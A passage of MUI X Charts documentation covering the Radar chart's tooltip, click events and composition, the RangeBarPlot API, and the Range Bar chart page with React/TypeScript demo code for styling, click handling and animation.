            aria-label={`series ${item.label}`}
          >
            {item.label}
          </ToggleButton>
        ))}
      </ToggleButtonGroup>
      <Box sx={{ width: '100%' }}>
        <RadarChart
          height={300}
          highlight="series"
          highlightedItem={highlightedItem}
          onHighlightChange={setHighlightedItem}
          slotProps={{ tooltip: { trigger: 'none' } }}
          series={withOptions(series)}
          radar={radar}
        />
      </Box>
      <FormControlLabel
        checked={fillArea}
        control={
          <Checkbox onChange={(event) => setFillArea(event.target.checked)} />
        }
        label="fill area"
        labelPlacement="end"
      />
    </Stack>
  );
}

// Data from https://ourworldindata.org/emissions-by-fuel
const series = [
  {
    id: 'usa',
    label: 'USA',
    data: [6.65, 2.76, 5.15, 0.19, 0.07, 0.12],
    valueFormatter,
  },
  {
    id: 'australia',
    label: 'Australia',
    data: [5.52, 5.5, 3.19, 0.51, 0.15, 0.11],
    valueFormatter,
  },
  {
    id: 'united-kingdom',
    label: 'United Kingdom',
    data: [2.26, 0.29, 2.03, 0.05, 0.04, 0.06],
    valueFormatter,
  },
];
const radar = {
  metrics: ['Oil', 'Coal', 'Gas', 'Flaring', 'Other\nindustry', 'Cement'],
};

```

### Disabling highlight

To remove highlight, set the `highlight` prop to `'none'`.

## Tooltip

Like other charts, the radar chart [tooltip](/x/react-charts/tooltip/) can be customized with slots.
The `trigger` prop of the `tooltip` slot accepts the following values:

- `'axis'`—the user's mouse position is associated with a metric. The tooltip displays data about all series along this specific metric.
- `'item'`—when the user's mouse hovers over a radar area, the tooltip displays data about this series.
- `'none'`—disable the tooltip.

```tsx
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { RadarChart } from '@mui/x-charts/RadarChart';
import Typography from '@mui/material/Typography';

export default function RadarTooltip() {
  return (
    <Stack
      sx={{ width: '100%' }}
      direction="row"
      flexWrap="wrap"
      justifyContent="space-around"
    >
      <Box sx={{ maxWidth: 300 }}>
        <Typography sx={{ textAlign: 'center' }}>Axis</Typography>
        <RadarChart
          {...radarChartsParams}
          slotProps={{ tooltip: { trigger: 'axis' } }}
        />
      </Box>
      <Box sx={{ maxWidth: 300 }}>
        <Typography sx={{ textAlign: 'center' }}>Item</Typography>
        <RadarChart
          {...radarChartsParams}
          highlight="series"
          slotProps={{ tooltip: { trigger: 'item' } }}
        />
      </Box>
    </Stack>
  );
}

// Data from https://ourworldindata.org/emissions-by-fuel
const series = [
  {
    id: 'usa',
    label: 'USA',
    data: [6.65, 2.76, 5.15, 0.19, 0.07, 0.12],
  },
  {
    id: 'australia',
    label: 'Australia',
    data: [5.52, 5.5, 3.19, 0.51, 0.15, 0.11],
  },
  {
    id: 'united-kingdom',
    label: 'United Kingdom',
    data: [2.26, 0.29, 2.03, 0.05, 0.04, 0.06],
  },
];
const radar = {
  metrics: ['Oil', 'Coal', 'Gas', 'Flaring', 'Other\nindustry', 'Cement'],
};

const radarChartsParams = {
  hideLegend: true,
  height: 300,
  series,
  radar,
};

```

## Click event

Radar charts provides multiple click handlers:

- `onAreaClick` for click on a specific area.
- `onMarkClick` for click on a specific mark.
- `onAxisClick` for a click anywhere in the chart

They all provide the following signature.

```js
const clickHandler = (
  event, // The mouse event.
  params, // An object that identifies the clicked elements.
) => {};
```

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import ToggleButton from '@mui/material/ToggleButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';
import {
  ChartsAxisData,
  RadarItemIdentifier,
  RadarSeriesType,
} from '@mui/x-charts/models';
import { RadarChart } from '@mui/x-charts/RadarChart';
import { HighlightedCode } from '@mui/docs/HighlightedCode';

export default function RadarClick() {
  const [itemData, setItemData] = React.useState<RadarItemIdentifier>();
  const [axisData, setAxisData] = React.useState<ChartsAxisData | null>();
  const [itemClick, setItemClick] = React.useState<'mark' | 'area' | null>('mark');

  const handleItemClick = (
    event: React.MouseEvent<HTMLElement>,
    newItem: 'mark' | 'area' | null,
  ) => {
    setItemClick(newItem);
  };

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <RadarChart
          {...commonSettings}
          series={[lisaGrades, bartGrades]}
          onAreaClick={
            itemClick === 'area' ? (event, d) => setItemData(d) : undefined
          }
          onMarkClick={
            itemClick === 'mark' ? (event, d) => setItemData(d) : undefined
          }
          onAxisClick={(event, d) => setAxisData(d)}
        />
      </Box>

      <Stack
        direction="column"
        sx={{ width: { xs: '100%', md: '40%' } }}
        spacing={2}
      >
        <Stack
          spacing={1}
          direction={{ xs: 'row', md: 'column' }}
          alignItems={{ xs: 'center', md: 'start' }}
        >
          <Typography>Item click listener</Typography>
          <ToggleButtonGroup
            value={itemClick}
            exclusive
            onChange={handleItemClick}
            aria-label="text alignment"
            size="small"
          >
            <ToggleButton value="mark">Mark</ToggleButton>
            <ToggleButton value="area">Area</ToggleButton>
          </ToggleButtonGroup>
        </Stack>
        <div>
          <Box
            sx={{
              display: 'flex',
              justifyContent: 'space-between',
              alignItems: 'center',
            }}
          >
            <Typography>Click on the chart</Typography>
            <IconButton
              aria-label="reset"
              size="small"
              onClick={() => {
                setItemData(undefined);
                setAxisData(null);
              }}
            >
              <UndoOutlinedIcon fontSize="small" />
            </IconButton>
          </Box>
          <HighlightedCode
            code={`// Data from item click
${itemData ? JSON.stringify(itemData, null, 2) : '// The data will appear here'}

// Data from axis click
${axisData ? JSON.stringify(axisData, null, 2) : '// The data will appear here'}
`}
            language="json"
            copyButtonHidden
          />
        </div>
      </Stack>
    </Stack>
  );
}

const commonSettings = {
  height: 300,
  radar: {
    max: 120,
    metrics: ['Math', 'Chinese', 'English', 'Geography', 'Physics', 'History'],
  },
};
const lisaGrades: RadarSeriesType = {
  type: 'radar',
  label: 'Lisa',
  id: 'lisa-grade-series',
  data: [120, 98, 86, 99, 85, 65],
  hideMark: false,
};
const bartGrades: RadarSeriesType = {
  type: 'radar',
  label: 'Bart',
  id: 'bar-grade-series',
  data: [25, 34, 51, 16, 90, 20],
  hideMark: false,
};

```

:::info
There is a slight difference between the `event` of `onAxisClick` and the others:

- For `onAxisClick` it's a native mouse event emitted by the svg component.
- For others, it's a React synthetic mouse event emitted by the area, line, or mark component.

:::

## Composition

Use the `<RadarDataProvider />` to provide `series` and `radar` props for composition.

In addition to the common chart components available for [composition](/x/react-charts/composition/), you can use the following components:

- For axes:
  - `<RadarGrid />` renders the grid and stripes.
  - `<RadarMetricLabels />` renders metric labels around the grid.
- For data:
  - `<RadarSeriesPlot />` renders series (the area and the marks) on top of each other.
  - `<RadarSeriesArea />` renders the series area.
  - `<RadarSeriesMarks />` renders series marks.
- For interaction:
  - `<RadarAxisHighlight />` renders line and marks along the highlighted axis.

:::info
The `<RadarSeriesPlot />` renders all series together, such that the area of the second series is on top of the marks of the first one.

The `<RadarSeriesArea />` and `<RadarSeriesMarks />` components make it possible to render all marks on top of all areas.
You can also use them to render components between the areas and the marks.
:::

```tsx
import Stack from '@mui/material/Stack';
import {
  Unstable_RadarDataProvider as RadarDataProvider,
  RadarGrid,
  RadarSeriesMarks,
  RadarSeriesArea,
  RadarMetricLabels,
  RadarAxisHighlight,
} from '@mui/x-charts/RadarChart';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { ChartsLegend } from '@mui/x-charts/ChartsLegend';

export default function CompositionExample() {
  return (
    <RadarDataProvider height={300} series={series} radar={radar} margin={margin}>
      <Stack direction="column" alignItems="center" gap={1} sx={{ width: '100%' }}>
        <ChartsLegend />
        <ChartsSurface>
          <RadarGrid divisions={5} />
          <RadarMetricLabels />
          <RadarSeriesArea
            fillOpacity={0.4}
            strokeWidth={1}
            seriesId="australia-id"
          />
          <RadarSeriesArea
            fill="transparent"
            strokeWidth={1}
            seriesId="usa-id"
            strokeDasharray="4, 4"
            strokeLinecap="round"
          />
          <RadarAxisHighlight />
          <RadarSeriesMarks />
        </ChartsSurface>
      </Stack>
    </RadarDataProvider>
  );
}

// Data from https://ourworldindata.org/emissions-by-fuel
const series = [
  {
    id: 'usa-id',
    label: 'USA',
    data: [6.65, 2.76, 5.15, 0.19, 0.07, 0.12],
    fillArea: true,
  },
  {
    id: 'australia-id',
    label: 'Australia',
    data: [5.52, 5.5, 3.19, 0.51, 0.15, 0.11],
    fillArea: true,
  },
];
const radar = {
  metrics: ['Oil', 'Coal', 'Gas', 'Flaring', 'Other\nindustry', 'Cement'],
};
const margin = { left: 50, right: 50 };

```

Here's how the Radar Chart is composed:

```jsx
<RadarDataProvider>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      {/* The background of the chart */}
      <RadarGrid />
      <RadarMetricLabels />
      {/* The data with axis highlight on top of area and below marks */}
      <RadarSeriesArea />
      <RadarAxisHighlight />
      <RadarSeriesMarks />
      {/* Other components */}
      <ChartsOverlay />
    </ChartsSurface>
    <ChartsTooltip />
  </ChartsWrapper>
</RadarDataProvider>
```

---

# Source: https://mui.com/x/api/charts/range-bar-plot.md

# RangeBarPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Range Bar

## Import

```jsx
import { RangeBarPlot } from '@mui/x-charts-premium/BarChartPremium';
// or
import { RangeBarPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| borderRadius | `number` | - | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, barItemIdentifier: RangeBarItemIdentifier) => void` | - | No |  |
| skipAnimation | `bool` | `undefined` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| bar | `BarElementPath` | - | The component that renders the bar. |
| barLabel | `BarLabel` | - | The component that renders the bar label. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-premium/src/BarChartPremium/RangeBar/RangeBarPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-premium/src/BarChartPremium/RangeBar/RangeBarPlot.tsx)

---

# Source: https://mui.com/x/react-charts/range-bar.md

---
title: React Range Bar chart
productId: x-charts
components: BarChartPremium, RangeBarPlot, ChartDataProviderPremium, ChartContainerPremium
---

# Charts - Range Bar [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Range bar charts highlight the range between minimum and maximum values across categories.

## Overview

A range bar chart displays the span between two values for each category.

Each bar extends from a lower to an upper value, and is commonly used for visualizing data like temperature ranges, project timelines, or performance intervals.

## Basics

A range bar chart is created by rendering a `BarChartPremium` where at least one series has the type `'rangeBar'`.

Each data point in a range bar series consists of a `{ start: number, end: number }` object.

```tsx
import * as React from 'react';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import { AxisValueFormatterContext } from '@mui/x-charts/models';
import { BarChartPremium } from '@mui/x-charts-premium/BarChartPremium';
import { temperatureBerlinPorto } from '../dataset/temperatureBerlinPorto';

export default function BasicRangeBar() {
  return (
    <Stack width="100%" spacing={2}>
      <Typography textAlign="center">
        Average monthly temperature ranges in °C for Porto and Berlin in 1991-2020
      </Typography>
      <BarChartPremium
        xAxis={[
          {
            data: temperatureBerlinPorto.months,
            valueFormatter: (v: string, context: AxisValueFormatterContext) =>
              context.location === 'tick' ? v.slice(0, 3) : v,
          },
        ]}
        yAxis={[{ valueFormatter: (value: number) => `${value}°C` }]}
        series={[
          {
            id: 'porto',
            type: 'rangeBar',
            label: 'Porto, Portugal',
            valueFormatter: (value) =>
              value === null ? null : `${value[0]}°C - ${value[1]}°C`,
            data: temperatureBerlinPorto.porto,
          },
          {
            id: 'berlin',
            type: 'rangeBar',
            label: 'Berlin, Germany',
            valueFormatter: (value) =>
              value === null ? null : `${value[0]}°C - ${value[1]}°C`,
            data: temperatureBerlinPorto.berlin,
          },
        ]}
        height={300}
      />
      <Typography variant="caption">
        Source: IPMA (Porto), climate-data.org (Berlin)
      </Typography>
    </Stack>
  );
}

```

## Customization

### Grid

You can add a grid in the background of the chart with the `grid` prop.

See [Axis—Grid](/x/react-charts/axis/#grid) documentation for more information.

### Border radius

A range bar chart supports rounded corners. To achieve it, set the value of the `borderRadius` prop on the `BarChartPremium` to any positive value.

When using composition, you can set the `borderRadius` prop on the `RangeBarPlot` component.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import Slider from '@mui/material/Slider';
import Typography from '@mui/material/Typography';
import {
  BarChartPremium,
  BarChartPremiumProps,
} from '@mui/x-charts-premium/BarChartPremium';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

export default function RangeBarBorderRadius() {
  const [layout, setLayout] = React.useState<'horizontal' | 'vertical'>('vertical');
  const [radius, setRadius] = React.useState(10);
  const [reverse, setReverse] = React.useState(false);

  return (
    <Stack direction="column" spacing={1} sx={{ width: '100%', maxWidth: 600 }}>
      <Stack direction="row" spacing={4} flexWrap="wrap" justifyContent="center">
        <Stack direction="column" spacing={1} flex={1}>
          <Typography gutterBottom>Border Radius</Typography>
          <Slider
            value={radius}
            onChange={(event, value) => setRadius(value as number)}
            valueLabelDisplay="auto"
            min={0}
            max={50}
            sx={{ mt: 2 }}
          />
        </Stack>
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="layout"
          value={layout}
          onChange={(event) =>
            setLayout(event.target.value as 'horizontal' | 'vertical')
          }
        >
          <MenuItem value="horizontal">Horizontal</MenuItem>
          <MenuItem value="vertical">Vertical</MenuItem>
        </TextField>

        <FormControlLabel
          checked={reverse}
          control={
            <Checkbox onChange={(event) => setReverse(event.target.checked)} />
          }
          label="Reverse"
          labelPlacement="end"
        />
      </Stack>
      <BarChartPremium
        series={[
          {
            type: 'rangeBar',
            datasetKeys: { start: 'low', end: 'high' },
            layout,
          },
        ]}
        margin={{ left: 0 }}
        {...getChartSettings(layout, reverse)}
        borderRadius={radius}
      />
      <HighlightedCode
        code={`<BarChartPremium
  // ...
  borderRadius={${radius}}
/>`}
        language="jsx"
        copyButtonHidden
      />
    </Stack>
  );
}

const dataset = [
  [3, -7, '1st'],
  [0, -5, '2nd'],
  [10, 0, '3rd'],
  [9, 6, '4th'],
].map(([high, low, order]) => ({
  high,
  low,
  order,
}));

function getChartSettings(
  layout: 'vertical' | 'horizontal',
  reverse: boolean,
): Partial<BarChartPremiumProps> {
  return {
    dataset,
    height: 300,
    xAxis: layout === 'horizontal' ? [{ reverse }] : [{ dataKey: 'order' }],
    yAxis:
      layout === 'horizontal'
        ? [{ scaleType: 'band', dataKey: 'order' }]
        : [{ reverse }],
    slotProps: {
      legend: {
        direction: 'horizontal',
        position: { vertical: 'bottom', horizontal: 'center' },
      },
    },
  };
}

```

### Color

As with other charts, you can modify the series color either directly, or with the color palette.

An alternative is to use a `colorMap`, which maps values to colors. The color set by `colorMap` has priority over other color settings.

:::warning
Unlike other chart types, the `colorMap` property does not work for the numerical axis of range bar charts (that is, the y-axis for vertical range bar charts and the x-axis for horizontal range bar charts).
:::

You can learn more about the `colorMap` in the [Styling docs](/x/react-charts/styling/#values-color).

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import {
  BarChartPremium,
  RangeBarSeries,
} from '@mui/x-charts-premium/BarChartPremium';

const series = [
  {
    type: 'rangeBar',
    data: [
      [-2, 4],
      [4, 10],
      [-1, 3],
      [2, 13],
      [6, 7],
      [8, 12],
    ],
  } satisfies RangeBarSeries,
];

export default function RangeBarColorScale() {
  const [colorX, setColorX] = React.useState<
    'None' | 'piecewise' | 'continuous' | 'ordinal'
  >('piecewise');

  return (
    <Stack direction="column" spacing={1} sx={{ width: '100%', maxWidth: 600 }}>
      <Stack direction="row" spacing={1}>
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="x-axis colorMap"
          value={colorX}
          onChange={(event) =>
            setColorX(
              event.target.value as 'None' | 'piecewise' | 'continuous' | 'ordinal',
            )
          }
        >
          <MenuItem value="None">None</MenuItem>
          <MenuItem value="piecewise">piecewise</MenuItem>
          <MenuItem value="continuous">continuous</MenuItem>
          <MenuItem value="ordinal">ordinal</MenuItem>
        </TextField>
      </Stack>

      <BarChartPremium
        height={300}
        grid={{ horizontal: true }}
        series={series}
        xAxis={[
          {
            data: [
              new Date(2019, 1, 1),
              new Date(2020, 1, 1),
              new Date(2021, 1, 1),
              new Date(2022, 1, 1),
              new Date(2023, 1, 1),
              new Date(2024, 1, 1),
            ],
            valueFormatter: (value: Date) => value.getFullYear().toString(),
            colorMap:
              (colorX === 'ordinal' && {
                type: 'ordinal',
                colors: [
                  '#ccebc5',
                  '#a8ddb5',
                  '#7bccc4',
                  '#4eb3d3',
                  '#2b8cbe',
                  '#08589e',
                ],
              }) ||
              (colorX === 'continuous' && {
                type: 'continuous',
                min: new Date(2019, 1, 1),
                max: new Date(2024, 1, 1),
                color: ['green', 'orange'],
              }) ||
              (colorX === 'piecewise' && {
                type: 'piecewise',
                thresholds: [new Date(2021, 1, 1), new Date(2023, 1, 1)],
                colors: ['blue', 'red', 'blue'],
              }) ||
              undefined,
          },
        ]}
        margin={{ left: 0 }}
      />
      <HighlightedCode
        code={[
          `<BarChart`,
          '  /* ... */',
          // ColorX
          ...(colorX === 'None' ? ['  xAxis={[{}]}'] : []),
          ...(colorX === 'ordinal'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'ordinal',`,
                `      colors: ['#ccebc5', '#a8ddb5', '#7bccc4', '#4eb3d3', '#2b8cbe', '#08589e']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorX === 'continuous'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: new Date(2019, 1, 1),`,
                `      max: new Date(2024, 1, 1),`,
                `      color: ['green', 'orange']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorX === 'piecewise'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [new Date(2021, 1, 1), new Date(2023, 1, 1)],`,
                `      colors: ['blue', 'red', 'blue'],`,
                `    }`,
                '  }]}',
              ]
            : []),

          `/>`,
        ].join('\n')}
        language="jsx"
        copyButtonHidden
      />
    </Stack>
  );
}

```

### CSS

You can customize the range bar chart elements using CSS selectors.

Like a bar chart, each series renders a `g` element that contains a `data-series` attribute.
You can use this attribute to target elements based on their series.

```tsx
import * as React from 'react';
import { barElementClasses } from '@mui/x-charts/BarChart';
import {
  BarChartPremium,
  rangeBarClasses,
  RangeBarSeries,
} from '@mui/x-charts-premium/BarChartPremium';

const settings = {
  xAxis: [{ data: ['group A', 'group B', 'group C'] }],
  series: [
    {
      type: 'rangeBar',
      id: '1',
      data: [
        [4, 3],
        [5, 8],
        [2, 4],
      ],
    },
    {
      type: 'rangeBar',
      id: '2',
      data: [
        [1, 6],
        [5, 6],
        [3, 9],
      ],
    },
    {
      type: 'rangeBar',
      id: '3',
      data: [
        [1, 5],
        [2, 4],
        [3, 8],
      ],
    },
  ] satisfies RangeBarSeries[],
  height: 300,
  margin: { left: 0 },
} as const;

export default function RangeBarGradient() {
  return (
    <BarChartPremium
      {...settings}
      sx={{
        [`& .${rangeBarClasses.series}[data-series="2"] .${barElementClasses.root}`]:
          {
            fill: 'url(#bar-gradient)',
          },
      }}
    >
      <defs>
        <Gradient id="bar-gradient" />
      </defs>
    </BarChartPremium>
  );
}

function Gradient(props: React.SVGProps<SVGLinearGradientElement>) {
  return (
    <linearGradient gradientTransform="rotate(90)" {...props}>
      <stop offset="5%" stopColor="gold" />
      <stop offset="95%" stopColor="red" />
    </linearGradient>
  );
}

```

## Click event

The click event handlers in range bar charts work similarly to bar charts.

You read more about it in bar chart's [Click event](/x/react-charts/bars/#click-event) page.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';
import {
  BarChartPremium,
  RangeBarSeries,
} from '@mui/x-charts-premium/BarChartPremium';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { BarItemIdentifier, ChartsAxisData } from '@mui/x-charts/models';
import { RangeBarItemIdentifier } from '@mui/x-charts-premium/models';

import type {} from '@mui/x-charts-premium/moduleAugmentation/rangeBarOnClick';

const barChartsParams = {
  series: [
    {
      type: 'rangeBar',
      id: 'series-1',
      data: [
        [3, 5],
        [4, 6],
        [1, 4],
        [6, 8],
        [5, 6],
      ],
      label: 'A',
      highlightScope: {
        highlight: 'item',
      },
    },
    {
      type: 'rangeBar',
      id: 'series-2',
      data: [
        [4, 6],
        [1, 4],
        [6, 8],
        [5, 6],
        [3, 5],
      ],
      label: 'B',
      highlightScope: {
        highlight: 'item',
      },
    },
  ] satisfies RangeBarSeries[],
  xAxis: [{ data: ['0', '3', '6', '9', '12'], id: 'axis1' }],
  height: 400,
  margin: { left: 0 },
} as const;

export default function RangeBarClick() {
  const [itemData, setItemData] = React.useState<
    BarItemIdentifier | RangeBarItemIdentifier
  >();
  const [axisData, setAxisData] = React.useState<ChartsAxisData | null>();

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <BarChartPremium
          {...barChartsParams}
          onItemClick={(event, d) => setItemData(d)}
          onAxisClick={(event, d) => setAxisData(d)}
        />
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => {
              setItemData(undefined);
              setAxisData(null);
            }}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Data from item click
${itemData ? JSON.stringify(itemData, null, 2) : '// The data will appear here'}

// Data from axis click
${axisData ? JSON.stringify(axisData, null, 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

:::info
If you use `onAxisClick`, the `seriesValues` type will be missing `RangeBarValueType`.

In case you use `onItemClick`, the `itemIdentifier` type will be missing `RangeBarItemIdentifier`.

To correct both these types, you need to import the following file:

```ts
import type {} from '@mui/x-charts-pro/moduleAugmentation/rangeBarOnClick';
```

:::

## Animation

Animation in range bar charts works similarly to bar charts.

You read more about it in bar chart's [Animation](/x/react-charts/bars/#animation) page.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { HighlightScope } from '@mui/x-charts/context';
import {
  BarChartPremium,
  RangeBarSeries,
} from '@mui/x-charts-premium/BarChartPremium';
import { RangeBarValueType } from '@mui/x-charts-premium/models';

export default function RangeBarAnimation() {
  const [seriesNb, setSeriesNb] = React.useState(2);
  const [itemNb, setItemNb] = React.useState(5);
  const [skipAnimation, setSkipAnimation] = React.useState(false);

  const handleItemNbChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setItemNb(newValue);
  };
  const handleSeriesNbChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setSeriesNb(newValue);
  };

  return (
    <Box sx={{ width: '100%' }}>
      <BarChartPremium
        height={300}
        series={series
          .slice(0, seriesNb)
          .map((s) => ({ ...s, data: s.data.slice(0, itemNb) }))}
        skipAnimation={skipAnimation}
        margin={{ left: 0 }}
      />
      <FormControlLabel
        checked={skipAnimation}
        control={
          <Checkbox onChange={(event) => setSkipAnimation(event.target.checked)} />
        }
        label="skipAnimation"
        labelPlacement="end"
      />
      <Typography id="input-item-number" gutterBottom>
        Number of items
      </Typography>
      <Slider
        value={itemNb}
        onChange={handleItemNbChange}
        valueLabelDisplay="auto"
        min={1}
        max={20}
        aria-labelledby="input-item-number"
      />
      <Typography id="input-series-number" gutterBottom>
        Number of series
      </Typography>
      <Slider
        value={seriesNb}
        onChange={handleSeriesNbChange}
        valueLabelDisplay="auto"
        min={1}
        max={10}
        aria-labelledby="input-series-number"
      />
    </Box>
  );
}

const highlightScope: HighlightScope = {
  highlight: 'series',
  fade: 'global',
};

const series = [
  {
    label: 'series 1',
    data: [
      [500, 2423],
      [300, 2210],
      [100, 764],
      [400, 1879],
      [200, 1478],
      [300, 1373],
      [500, 1891],
      [600, 2171],
      [100, 620],
      [300, 1269],
      [200, 724],
      [400, 1707],
      [300, 1188],
      [500, 1879],
      [100, 626],
      [400, 1635],
      [600, 2177],
      [100, 516],
      [500, 1793],
      [400, 1598],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 2',
    data: [
      [600, 2362],
      [500, 2254],
      [400, 1962],
      [300, 1336],
      [100, 586],
      [200, 1069],
      [600, 2194],
      [400, 1629],
      [600, 2173],
      [500, 2031],
      [400, 1757],
      [200, 862],
      [700, 2446],
      [200, 910],
      [700, 2430],
      [600, 2300],
      [200, 805],
      [500, 1835],
      [400, 1684],
      [600, 2197],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 3',
    data: [
      [300, 1145],
      [300, 1214],
      [200, 975],
      [600, 2266],
      [400, 1768],
      [700, 2341],
      [200, 747],
      [300, 1282],
      [500, 1780],
      [400, 1766],
      [600, 2115],
      [400, 1720],
      [300, 1057],
      [500, 2000],
      [400, 1716],
      [600, 2253],
      [100, 619],
      [400, 1626],
      [300, 1209],
      [500, 1786],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 4',
    data: [
      [600, 2361],
      [200, 979],
      [700, 2430],
      [400, 1768],
      [500, 1913],
      [700, 2342],
      [500, 1868],
      [300, 1319],
      [200, 1038],
      [600, 2139],
      [400, 1691],
      [200, 935],
      [600, 2262],
      [400, 1580],
      [100, 692],
      [400, 1559],
      [300, 1344],
      [300, 1442],
      [400, 1593],
      [500, 1889],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 5',
    data: [
      [200, 968],
      [300, 1371],
      [300, 1381],
      [300, 1060],
      [300, 1327],
      [200, 934],
      [500, 1779],
      [300, 1361],
      [200, 878],
      [300, 1055],
      [500, 1737],
      [700, 2380],
      [200, 875],
      [700, 2408],
      [300, 1066],
      [500, 1802],
      [300, 1442],
      [400, 1567],
      [400, 1552],
      [500, 1742],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 6',
    data: [
      [600, 2316],
      [500, 1845],
      [600, 2057],
      [300, 1479],
      [500, 1859],
      [300, 1015],
      [400, 1569],
      [300, 1448],
      [300, 1354],
      [300, 1007],
      [200, 799],
      [500, 1748],
      [300, 1454],
      [500, 1968],
      [300, 1129],
      [300, 1196],
      [600, 2158],
      [100, 540],
      [300, 1482],
      [200, 880],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 7',
    data: [
      [600, 2140],
      [600, 2082],
      [200, 708],
      [600, 2032],
      [100, 554],
      [300, 1365],
      [600, 2121],
      [400, 1639],
      [700, 2430],
      [700, 2440],
      [200, 814],
      [300, 1328],
      [200, 883],
      [500, 1811],
      [600, 2322],
      [500, 1743],
      [200, 700],
      [600, 2131],
      [300, 1473],
      [200, 957],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 8',
    data: [
      [300, 1074],
      [200, 744],
      [700, 2487],
      [200, 823],
      [600, 2252],
      [600, 2317],
      [600, 2139],
      [500, 1818],
      [600, 2256],
      [500, 1769],
      [300, 1123],
      [300, 1461],
      [100, 672],
      [300, 1335],
      [200, 960],
      [500, 1871],
      [600, 2305],
      [300, 1231],
      [600, 2005],
      [200, 908],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 9',
    data: [
      [500, 1792],
      [200, 886],
      [700, 2472],
      [400, 1546],
      [600, 2164],
      [600, 2323],
      [700, 2435],
      [300, 1268],
      [600, 2368],
      [600, 2158],
      [600, 2200],
      [300, 1316],
      [100, 552],
      [500, 1874],
      [500, 1771],
      [300, 1038],
      [500, 1838],
      [600, 2029],
      [500, 1793],
      [300, 1117],
    ] satisfies RangeBarValueType[],
  },
  {
    label: 'series 10',
    data: [
      [300, 1433],
      [300, 1161],
      [300, 1107],
      [400, 1517],
      [300, 1410],
      [300, 1058],
      [100, 676],
      [300, 1280],
      [500, 1936],
      [500, 1774],
      [100, 698],
      [500, 1721],
      [300, 1421],
      [200, 785],
      [500, 1752],
      [200, 800],
      [200, 990],
      [500, 1809],
      [500, 1985],
      [100, 665],
    ] satisfies RangeBarValueType[],
  },
].map((s) => ({ type: 'rangeBar', ...s, highlightScope }) satisfies RangeBarSeries);

```

## Composition

You can use the `ChartDataProviderPremium` to provide `series`, `xAxis`, and `yAxis` props for composition.

Besides the common chart components available for [composition](/x/react-charts/composition/), to compose a range bar chart you need to render the `RangeBarPlot` component to display the range bars and their labels.

Here's roughly a `BarChartPremium` is composed, which you can use as a reference:

```jsx
<ChartDataProviderPremium>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      <ChartsGrid />
      <g clipPath={`url(#${clipPathId})`}>
        <BarPlot />
        <RangeBarPlot />
